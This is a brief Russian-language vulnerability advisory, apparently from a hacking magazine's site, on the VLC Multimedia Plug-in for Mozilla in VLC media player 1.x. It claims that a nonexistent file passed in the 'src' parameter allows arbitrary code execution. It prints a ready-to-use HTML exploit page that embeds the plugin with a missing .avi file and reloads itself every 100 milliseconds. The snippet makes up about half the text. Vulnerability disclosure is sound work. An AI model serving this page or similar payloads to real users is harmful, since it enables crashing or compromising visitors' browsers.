Рекомендуем почитать:
Хакер #305. Многошаговые SQL-инъекции
Программа: VLC media player 1.x
Уязвимость позволяет удаленному злоумышленнику выполнить произвольный код на
целевой системе. Уязвимость существует из-за ошибки в проверке входных данных в
"VLC Multimedia Plug-in" для Mozilla. Атакующий может передать несуществующий
файл (с любым расширением) в параметр "src", что приведет к выполнению
произвольного кода.
Эксплоит:
<html>
<body onload="setTimeout('location.reload()', 100);">
<embed type="application/x-vlc-plugin" src="NonExistantFileName.avi"></embed>
</body>
</html>
